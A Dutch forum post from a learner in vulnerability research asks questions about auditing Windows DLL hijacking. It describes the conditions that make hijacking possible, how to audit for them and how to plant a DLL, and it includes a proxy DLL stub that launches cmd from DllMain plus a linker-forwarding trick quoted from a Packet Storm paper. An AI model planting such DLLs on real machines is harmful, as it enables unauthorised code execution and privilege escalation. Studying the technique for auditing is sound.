Auditing Windows DLL Hijacking

Pagina: 1
Acties:

  • sh4d0wman
  • Registratie: April 2002
  • Laatst online: 06:59

sh4d0wman

Attack | Exploit | Pwn

Topicstarter
Sinds enige tijd ben ik mij in het verdiepen in vulnerability research en omdat je hierbij zelf veel informatie uit verschillende bronnen moet halen zijn sommige zaken niet altijd duidelijk.

Vandaag een Windows vraag over DLL Hijacking/Planting.

Bij een klassieke DLL Hijack maak je misbruik van 1 van de volgende 3 fouten:
Applicatie probeert een DLL te laden welke:
1. niet bestaat op het systeem. Voorbeeld: doesnotexist.dll vs exists.dll
2. zonder volledig pad. Voorbeeld: foo.dll vs c:\windows\system32\foo.dll
3. een verkeerde naam heeft. Voorbeeld foo.dll.dll

Auditing:
Dit kan dynamisch met Sysinternals Procmom of statisch met Ida Pro.

Payload:
Code een eigen DLL of maak gebruik van metasploit framework.

Exploitation:
1. Bestaande DLL overschrijven indien verkeerde permissies
2. DLL in zelfde directory als executable plaatsen of een directory in %path% of smb share
Afhankelijk van procmon audit resultaat.

Vragen:
1. Waardoor verschilt output van Procmon met Ida Pro? Voorbeeld: procmon geeft bij applicatie X aan dat Y.dll niet gevonden kan worden. Zoek ik in de binary dan kan ik Y.dll niet vinden.
Plaats ik een test dll en noem ik deze Y.dll dan wordt deze wel ingelezen en uitgevoerd.

2. In verschillende applicaties ben ik een verkeerde DLL naam tegengekomen zoals foo.dll.dll maar deze kan ik nooit hijacken. Ik weet niet waarom, wellicht API die de dubbele .dll extensie niet leuk vind? Het antwoord is zeker: hang er eens een debugger aan :P

3. Een niet bestaande DLL call voert altijd de test DLL uit.
Een bestaande DLL zonder volledig pad crasht de applicatie omdat het functies aan wil roepen uit betreffende DLL.

Is het correct dat dit is op te lossen dmv DLL redirection zoals in Solution 02 hier onder? Solution01 had ik eerst gevonden maar die werkt niet of moet ik de payload uit DLLMain naar een functie verplaatsen?

Solution 01:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* export all required functions - use Dependency Walker to check what is needed */
extern "C"
{
   __declspec(dllexport) int GetFileVersionInfoA();
   __declspec(dllexport) int GetFileVersionInfoSizeA();
   __declspec(dllexport) int VerQueryValueA();
   __declspec(dllexport) int GetFileVersionInfoW();
   __declspec(dllexport) int GetFileVersionInfoSizeW();
   __declspec(dllexport) int VerQueryValueW();
}

 
/*
    Implement DLLMain with common datatypes so we don't have to include windows.h.
    Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
    system("cmd"); 
    return 0;
}

/* Implement stubs of our exports */
int GetFileVersionInfoA() {
    return 0;
}


Solution 2:

Forward functions to their corresponding functions in the original user32 DLL file. This can be accomplished using linker directives:

code:
1
#pragma comment(linker, "/export:MessageBox=user33.MessageBox")


This instructs the linker to add an exportable function named MessageBox to our DLL's export table, and that this exported function will simply be a forwarder to the MessageBox function in user33.dll.

Note the use of the name user33 instead of user32 (no, this is not a typo). This is necessary because our DLL is named user32.dll, so if we had specified user32.MessageBox, we would be forwarding the function back to ourselves. To prevent this, we will copy the original user32.dll file into the Internet Explorer directory (along with the manifest file and our new user32.dll file), renaming it to user33.dll

Bron: https://dl.packetstormsec..._apis_dll_redirection.pdf

This signature has been taken down by the Dutch police in the course of an international lawenforcement operation.